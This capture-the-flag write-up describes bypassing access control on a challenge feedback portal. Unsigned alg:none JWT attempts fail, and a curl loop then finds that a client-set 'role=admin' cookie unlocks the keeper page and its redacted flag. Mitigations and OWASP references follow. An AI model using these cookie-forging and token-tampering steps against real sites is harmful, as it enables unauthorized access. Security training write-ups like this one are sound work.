Overview
The application is a public feedback portal where submitted notes are supposedly reviewed by a privileged “keeper”. The interesting endpoint is /admin/notes. The goal is to reach the keeper-only area and retrieve the secret.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
Endpoints enumerated: GET /, POST /feedback, GET /thanks, GET /admin/login, GET /admin, GET /admin/notes, GET /api/health. No wordlist or credentials are required.
Recon
Step 1 — Enumerate endpoints and test /admin/notes
Goal: Map the application surface and confirm /admin/notes is protected.
GET /
POST /feedback
GET /thanks
GET /admin/login
GET /admin
GET /admin/notes
GET /api/health
/admin redirected to /admin/login, while /admin/notes returned:
HTTP/1.1 403 FORBIDDEN
Unauthorized
The login page exposed no credentials or hidden fields, and invalid credentials (keeper:wrong, admin:wrong) returned Invalid credentials without issuing a useful authentication cookie.
Enumeration
Step 2 — Investigate JWT-style authentication
Goal: Determine whether /admin/notes is protected by a JWT token.
An unsigned JWT (alg: none) with various claims (role: admin, role: keeper, is_admin: true, etc.) was supplied via Cookie: token=<JWT>, Authorization: Bearer <JWT>, and Authorization: <JWT>. All resulted in 403 Unauthorized, indicating token was probably not the relevant authorization cookie.
Vulnerability Analysis
The flaw class is Broken Access Control (CWE-284: Improper Access Control) via an insecure, client-controlled authorization cookie. Conceptually, the vulnerable check was equivalent to:
if request.cookies.get("role") != "admin":
return "Unauthorized", 403
return secret_page()
Since HTTP cookies are controlled by the client, an attacker can simply set role=admin and bypass the access control.
Exploitation
Step 3 — Enumerate cookie names
Goal: Find the cookie name that controls authorization.
for name in token role auth role_cookie user_role; do
echo "===== $name=admin ====="
curl -sS -i \
-H "Cookie: $name=admin" \
"$TARGET/admin/notes" | head -12
echo
done
Most cookies produced 403 Unauthorized, but:
Cookie: role=admin
returned:
HTTP/1.1 200 OK
Interpretation: role=admin is the critical authorization bypass — no username, password, JWT signature, or server-side session was required.
Step 4 — Retrieve the flag
Goal: Request /admin/notes with role=admin and read the flag.
curl -sS \
-H 'Cookie: role=admin' \
"$TARGET/admin/notes"
<title>The hollow</title>
<h1>The hollow</h1>
<p class="lead">Keeper's eyes only — tucked away where wanderers can't reach.</p>
<div class="secret">safctf{REDACTED}</div>
Interpretation: The client-controlled cookie granted access to the keeper-only page, which embeds the flag directly.
Flag
safctf{REDACTED}
Retrieved from /admin/notes by setting Cookie: role=admin.
Dead Ends
Lessons / Takeaways
- Authorization state must be derived from a trusted server-side session, never from a client-controlled cookie.
- When JWT guessing fails, test simpler cookie names directly — the control may be trivial.
role=adminflipping403to200is a clear signal of an insecure authorization cookie.
Mitigations
- Derive the user’s role from a server-side session or signed token whose integrity the server verifies (signature + expected algorithm), never from a plain client cookie.
- Treat all cookies as untrusted client input; validate and re-authorize on every privileged request.
- Use
HttpOnly,Secure, andSameSitecookie attributes, and pair them with real server-side authorization checks.
Techniques
- Broken Access Control
- Insecure Cookie
References
- OWASP, “Broken Access Control”: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- CWE-284: Improper Access Control: https://cwe.mitre.org/data/definitions/284.html

